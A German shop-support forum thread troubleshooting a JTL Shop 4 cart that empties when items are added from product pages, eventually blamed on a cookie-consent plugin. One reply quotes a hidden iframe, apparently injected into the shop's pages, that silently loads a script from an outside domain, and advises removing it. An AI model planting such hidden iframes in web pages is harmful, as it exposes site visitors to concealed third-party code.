Neu Warenkorb leer wenn aus Artikelseite in den Warenkorb gelegt wird

[CompenteceWare]

Hallo zusammen,

wir haben ein Problem mit dem Warenkorb auf unserer Shop Seite: http://www.gartenmoebel-fm.de.

Wenn ich einen Artikel über die Kategorieansicht in den Warenkorb lege und mir den Warenkorb anschaue ist alles wie gehabt.
Sobald ich aber aus der Artikelansicht heraus in den Warenkorb lege, verschwindet der Warenkorbinhalt unmittelbar nach dem Klick.

Diesen Fehler haben wir seit Mitte letzter Woche.
Die Shop-Version ist 4.05.
Der Shop an sich wurde noch nie groß angepasst. Er wird lediglich immer mit neuen Artikeldaten gefüllt.

Bei unserem Hoster haben wir bereits angefragt ob es da irgendwelche Änderungen gab, was er verneint hat.

Hat jemand eine Idee woran das liegen könnte?

 

[css-umsetzung]

Also als erstes würde ich das hier entfernen, denn das sitzt teilweise sogar vor dem Doctype, Außerdem verursacht das mixed Content und sorgt dafür das deine Seite als nicht sicher bezeichnet wird.

<iframe style="visibility: hidden; display: none; display: none;" src="http://advancedautointel.com/referer.php?id={0D4B712E-B172-4B32-B1E3-E890F31654F8}"></iframe>

Es kann also sein das die Session nicht initialisiert werden kann, denn wenn du auf den Warenkorb link im Header klickst, dann lädt er den WK nach und dann siehst du das da was drin ist.
Wenn du nicht weißt wo das her kommt, hol dir professionelle Hilfe.

 

[kevdd]

@CompenteceWare @css-umsetzung ich muss dieses Uralt-Thema einmal herauskramen, da ich vor gleichem Problem stehe und hier keine Lösung zu finden ist, das Problem aber behoben scheint.

JTL Shop 4.06 wie bei @CompenteceWare

Ich konnte es soweit reproduzieren, dass bei mir das Webstollen Cookie Plugin (v1.07) schuld ist. Ist das Plugin deaktiviert, dann funktioniert der Warenkorb. Mit aktivem Plugin lässt sich ein Artikel beim direkten Aufruf der Detailseite zwar in den Warenkorb legen, ruft man diesen dann aber auf (entweder vollständiger Aufruf oder auch die Schnellansicht), dann verschwindet der Artikel wieder und der Warenkorb ist leer. Das Problem tritt nur auf, wenn die Artikel-Detailseite etwa über eine Suchmaschine direkt aufgerufen wird. Wenn der Einstieg über eine Kategorie- oder die Startseite erfolgt, dort das Cookie Banner bestätigt wird (egal mit welcher Auswahl), dann funktioniert der Warenkorb auf der Artikelseite. Vom Anbieter erhalte ich leider keine Unterstützung dazu.

Daher die Frage: Kannst Du mir vielleicht bitte behilflich sein, was bei Euch gemacht wurde, damit es wieder funktioniert? Wie ich sehe habt Ihr auch nach wie vor einen Shop 4.06 mit dem Webstollen Cookie Plugin. Nur das bei Euch trotz diesem der Warenkorb überall funktioniert. Ich wäre für jeden Tipp dankbar! Viele Grüße, Kevin

 

[css-umsetzung]

Bitte prüfe was in deiner config Datei vom steht, zum einen muss da "https://" stehen zum anderen musst du prüfen ob der Shop über www. und ohne www aufrufbar ist.

das muss überall gleich sein und in der .htaccess sollte dann die Weiterleitung zu www oder ohne www sein, je nachdem was in der config hinterlegt ist.

 

[kevdd]

Vielen Dank! In der config komplett https und die .htaccess Weiterleitungen auf alles ohne www funktionieren auch.

Es ist auch alles okay und funktioniert ohne Fehler, bis ich das Webstollen EU Cookie Plugin aktiviere. Ich habe dabei auch schon mit den Cookies getestet, dass gar keine mehr drinnen waren, nur noch das notwendige JTL Cookie und nur dieses entsprechend im Plugin gespeichert. Plugin deaktiviert, alles funktioniert. Von Webstollen kommt leider lapidare Antwort auf JTL Shop 5 upzugraden.

 

[css-umsetzung]

Von Webstollen kommt leider lapidare Antwort auf JTL Shop 5 upzugraden

Wenn du eine gültige Lizenz hast würde ich einfach drauf bestehen das dies auch funktionieren muss.
Ich hab bei den Shops aber bisher noch nichts davon gehört das es im 4er Probleme mit dem WK macht und ich kenne viele 4er Shops.

 

[kevdd]

Zugegebenermaßen ist die Lizenz abgelaufen. Kannst du herausbekommen welche Plugin-Version die letzte für den 4er Shop davon ist?

 

[css-umsetzung]

Nein, da musst du schon selbst im Extension Store oder bei Webstollen schauen, bzw. sollte das bei Webstollen Plugins, im Plugin, oben links zu sehen sein.

 

[kevdd]

Die listen leider nur noch alles ab dem JTL Shop 5. Auf die Frage ob die 1.08 denn die letzte Version für den Shop 4.06 ist kommt die qualitative Antwort "ja, ich denke schon"... Die Lust auf diesen Anbieter für eventuelle, zukünftige Plugins liegt bei kleiner 0,0. Andreas, ganz ehrlich Du bist wirklich einer der ganz, ganz wenigen der für uns eine wirkliche Unterstützung ist und der uns einen Mehrwert bietet. Merci!